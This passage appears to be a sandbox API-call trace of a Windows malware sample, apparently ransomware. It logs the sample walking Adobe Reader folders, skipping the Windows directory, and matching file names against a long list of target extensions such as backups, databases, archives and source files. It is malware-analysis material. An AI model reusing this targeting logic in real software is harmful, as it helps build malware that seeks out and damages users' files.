(lpString1=".dwt", lpString2="r.js") returned -1 [0200.513] lstrlenW (lpString=".dx") returned 3 [0200.513] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0200.513] lstrlenW (lpString=".dxf") returned 4 [0200.513] lstrcmpiW (lpString1=".dxf", lpString2="r.js") returned -1 [0200.513] lstrlenW (lpString=".edml") returned 5 [0200.513] lstrcmpiW (lpString1=".edml", lpString2="or.js") returned -1 [0200.513] lstrlenW (lpString=".efd") returned 4 [0200.513] lstrcmpiW (lpString1=".efd", lpString2="r.js") returned -1 [0200.513] lstrlenW (lpString=".elf") returned 4 [0200.513] lstrcmpiW (lpString1=".elf", lpString2="r.js") returned -1 [0200.513] lstrlenW (lpString=".emf") returned 4 [0200.513] lstrcmpiW (lpString1=".emf", lpString2="r.js") returned -1 [0200.514] lstrlenW (lpString=".emz") returned 4 [0200.514] lstrcmpiW (lpString1=".emz", lpString2="r.js") returned -1 [0200.514] lstrlenW (lpString=".epf") returned 4 [0200.514] lstrcmpiW (lpString1=".epf", lpString2="r.js") returned -1 [0200.514] lstrlenW (lpString=".eps") returned 4 [0200.514] lstrcmpiW (lpString1=".eps", lpString2="r.js") returned -1 [0200.514] lstrlenW (lpString=".epsf") returned 5 [0200.514] lstrcmpiW (lpString1=".epsf", lpString2="or.js") returned -1 [0200.514] lstrlenW (lpString=".epsp") returned 5 [0200.514] lstrcmpiW (lpString1=".epsp", lpString2="or.js") returned -1 [0200.514] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.514] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0200.514] FindClose (in: hFindFile=0x43a3c0 | out: hFindFile=0x43a3c0) returned 1 [0200.514] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.514] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0200.514] FindClose (in: hFindFile=0x4420720 | out: hFindFile=0x4420720) returned 1 [0200.514] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54b0058 | out: hHeap=0x420000) returned 1 [0200.515] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0200.515] FindClose (in: hFindFile=0x4420220 | out: hFindFile=0x4420220) returned 1 [0200.515] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0200.517] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="createpdfupsell-app", cAlternateFileName="CREATE~1")) returned 1 [0200.517] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.517] FindNextFileW (in: hFindFile=0x4420860, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0200.624] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.625] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0200.625] FindClose (in: hFindFile=0x4420720 | out: hFindFile=0x4420720) returned 1 [0200.625] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54b0058 | out: hHeap=0x420000) returned 1 [0200.625] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0200.625] FindClose (in: hFindFile=0x44205e0 | out: hFindFile=0x44205e0) returned 1 [0200.626] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.626] FindNextFileW (in: hFindFile=0x4420860, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0200.626] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.626] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0200.626] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.626] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0200.626] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.627] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0200.627] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.627] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0200.627] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.627] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0200.627] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.627] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0200.628] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.628] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0200.628] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.628] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0200.628] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.628] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0200.628] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.628] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0200.629] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.629] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0200.629] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.629] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0200.629] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.629] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0200.629] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.629] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0200.630] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.630] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0200.630] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\hu-hu") returned 127 [0200.630] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\hu-hu") returned 1 [0200.630] lstrlenW (lpString="hu-hu") returned 5 [0200.630] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="hu-hu") returned -1 [0200.630] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4515f80 [0200.630] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\hu-hu") returned 127 [0200.630] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\hu-hu\\*", lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4420820 [0200.630] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0200.631] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0200.631] lstrlenW (lpString="ui-strings.js") returned 13 [0200.631] lstrlenW (lpString=".1cd") returned 4 [0200.631] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0200.631] lstrlenW (lpString=".3ds") returned 4 [0200.631] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0200.631] lstrlenW (lpString=".3fr") returned 4 [0200.631] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0200.631] lstrlenW (lpString=".3g2") returned 4 [0200.631] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0200.631] lstrlenW (lpString=".3gp") returned 4 [0200.631] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0200.631] lstrlenW (lpString=".7z") returned 3 [0200.631] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0200.631] lstrlenW (lpString=".accda") returned 6 [0200.631] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0200.631] lstrlenW (lpString=".accdb") returned 6 [0200.631] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0200.631] lstrlenW (lpString=".accdc") returned 6 [0200.631] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0200.631] lstrlenW (lpString=".accde") returned 6 [0200.631] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0200.631] lstrlenW (lpString=".accdt") returned 6 [0200.631] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0200.631] lstrlenW (lpString=".accdw") returned 6 [0200.631] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0200.631] lstrlenW (lpString=".adb") returned 4 [0200.632] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0200.632] lstrlenW (lpString=".adp") returned 4 [0200.632] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0200.632] lstrlenW (lpString=".ai") returned 3 [0200.632] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0200.632] lstrlenW (lpString=".ai3") returned 4 [0200.632] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0200.632] lstrlenW (lpString=".ai4") returned 4 [0200.632] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0200.632] lstrlenW (lpString=".ai5") returned 4 [0200.632] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0200.632] lstrlenW (lpString=".ai6") returned 4 [0200.632] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0200.632] lstrlenW (lpString=".ai7") returned 4 [0200.632] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0200.632] lstrlenW (lpString=".ai8") returned 4 [0200.632] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0200.632] lstrlenW (lpString=".anim") returned 5 [0200.632] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0200.632] lstrlenW (lpString=".arw") returned 4 [0200.632] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0200.632] lstrlenW (lpString=".as") returned 3 [0200.632] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0200.632] lstrlenW (lpString=".asa") returned 4 [0200.632] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0200.632] lstrlenW (lpString=".asc") returned 4 [0200.633] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0200.633] lstrlenW (lpString=".ascx") returned 5 [0200.633] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0200.633] lstrlenW (lpString=".asm") returned 4 [0200.633] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0200.633] lstrlenW (lpString=".asmx") returned 5 [0200.633] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0200.633] lstrlenW (lpString=".asp") returned 4 [0200.633] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0200.633] lstrlenW (lpString=".aspx") returned 5 [0200.633] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0200.633] lstrlenW (lpString=".asr") returned 4 [0200.633] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0200.633] lstrlenW (lpString=".asx") returned 4 [0200.633] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0200.633] lstrlenW (lpString=".avi") returned 4 [0200.633] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0200.633] lstrlenW (lpString=".avs") returned 4 [0200.633] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0200.633] lstrlenW (lpString=".backup") returned 7 [0200.633] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0200.633] lstrlenW (lpString=".bak") returned 4 [0200.633] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0200.633] lstrlenW (lpString=".bay") returned 4 [0200.633] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0200.633] lstrlenW (lpString=".bd") returned 3 [0200.633] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0200.633] lstrlenW (lpString=".bin") returned 4 [0200.633] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0200.633] lstrlenW (lpString=".bmp") returned 4 [0200.634] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0200.634] lstrlenW (lpString=".bz2") returned 4 [0200.634] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0200.634] lstrlenW (lpString=".c") returned 2 [0200.634] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0200.634] lstrlenW (lpString=".cdr") returned 4 [0200.634] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0200.634] lstrlenW (lpString=".cer") returned 4 [0200.634] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0200.634] lstrlenW (lpString=".cf") returned 3 [0200.634] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0200.634] lstrlenW (lpString=".cfc") returned 4 [0200.634] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0200.634] lstrlenW (lpString=".cfm") returned 4 [0200.634] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0200.634] lstrlenW (lpString=".cfml") returned 5 [0200.634] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0200.634] lstrlenW (lpString=".cfu") returned 4 [0200.634] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0200.634] lstrlenW (lpString=".chm") returned 4 [0200.634] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0200.634] lstrlenW (lpString=".cin") returned 4 [0200.634] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0200.634] lstrlenW (lpString=".class") returned 6 [0200.634] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0200.634] lstrlenW (lpString=".clx") returned 4 [0200.634] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0200.634] lstrlenW (lpString=".config") returned 7 [0200.634] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0200.634] lstrlenW (lpString=".cpp") returned 4 [0200.635] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0200.635] lstrlenW (lpString=".cr2") returned 4 [0200.635] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0200.635] lstrlenW (lpString=".crt") returned 4 [0200.635] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0200.635] lstrlenW (lpString=".crw") returned 4 [0200.635] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 